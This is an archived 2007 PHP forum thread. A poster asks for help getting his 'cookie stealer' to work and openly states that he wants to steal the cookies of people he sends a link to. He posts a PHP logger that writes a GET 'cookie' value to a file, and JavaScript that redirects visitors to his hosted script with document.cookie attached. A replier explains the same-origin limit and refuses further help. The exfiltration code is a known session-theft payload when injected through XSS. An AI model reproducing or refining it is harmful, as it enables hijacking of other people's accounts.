Soccerplayer1316 Posted April 4, 2007 Share Posted April 4, 2007 ok so I have had a problem so far I have this: Receiver: <?php $cookie = $HTTP_GET_VARS["cookie"]; $file = fopen('cookielog.txt', 'a'); $ip=$_SERVER['REMOTE_ADDR']; $date=date("j F, Y, g:i a"); ?> and the Stealer: <html> <script> document.location="http://soccerplayer1316.phpnet.us/Robert/reciever.php?cookie=" + document.cookie; </script> <body> </body> </html> now what it does is, when you open up the stealer file, it redirects to the receiver and it is supposed to send the log file with the cookie....but nothing happens and I don't see a log fil that is supposed to be in the Robert Directory on the website....any help? Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/ Share on other sites More sharing options...
trq Posted April 4, 2007 Share Posted April 4, 2007 You never write anything to cookielog.txt, take a look at fwrite. Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220857 Share on other sites More sharing options...
Soccerplayer1316 Posted April 4, 2007 Author Share Posted April 4, 2007 I figured it out I just added some more stuff I accidentally deleted before.....but I gt it to work now, now I need to take the cookie file and use a cookie manager. Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220859 Share on other sites More sharing options...
Soccerplayer1316 Posted April 4, 2007 Author Share Posted April 4, 2007 its not solved im sry....ok well it gives me the Ip in the text file but no cookies? wats up with that? Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220862 Share on other sites More sharing options...
trq Posted April 4, 2007 Share Posted April 4, 2007 Post the relevant code, a description of what it is your trying to do and a description of your current results. Failing that, a read of the link in my signature wouldn't hurt you. Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220868 Share on other sites More sharing options...
Soccerplayer1316 Posted April 4, 2007 Author Share Posted April 4, 2007 ok what I am trying to do is, I got a free webhosting account...and to it I uploaded two files... the cookie stealer and the sender. The cookie sender basically redirects to the cookie stealer which writes the cookies into a txt file that I can view. What this does is, whenever someone goes on the link I give them where the cookies sender is, it will redirect them to the cookie stealer without them knowing it and it will send their cookies to a txt file that i can view and steal all their cookies that are stored on their computer.... my codes are The stealer <?php $cookie = $_GET['cookie']; $log = fopen("log.txt", "a"); fwrite($log, $cookie ."\n"); fclose($log); ?> and the sender <script> document.location = 'http://soccerplayer1316.phpnet.us/Robert/stealer.php?cookie=' + document.cookie; </script> now my problem is, when I go onto the txt file it is empty and displays no cookies. anyone? Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220883 Share on other sites More sharing options...
trq Posted April 4, 2007 Share Posted April 4, 2007 What this does is, whenever someone goes on the link I give them where the cookies sender is, it will redirect them to the cookie stealer without them knowing it and it will send their cookies to a txt file No it wont. You can only read cookies created from your own domain. As you aren't creating any cookies, the text file is empty. Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220889 Share on other sites More sharing options...
Soccerplayer1316 Posted April 4, 2007 Author Share Posted April 4, 2007 o sooooooo if someone else went onto it, it would work...if its not from my domain? if not then what could I do? Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220892 Share on other sites More sharing options...
trq Posted April 4, 2007 Share Posted April 4, 2007 o sooooooo if someone else went onto it, it would work...if its not from my domain? What? Javascript's document.cookie method can only read cookies that where created from a page on the same domain (or specified sub-domain) that it is called from. if not then what could I do? Give it up, you cannot do what you are attempting (well, you wont get an answer on this site anyway). It is a security feature. Link to comment https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220896 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.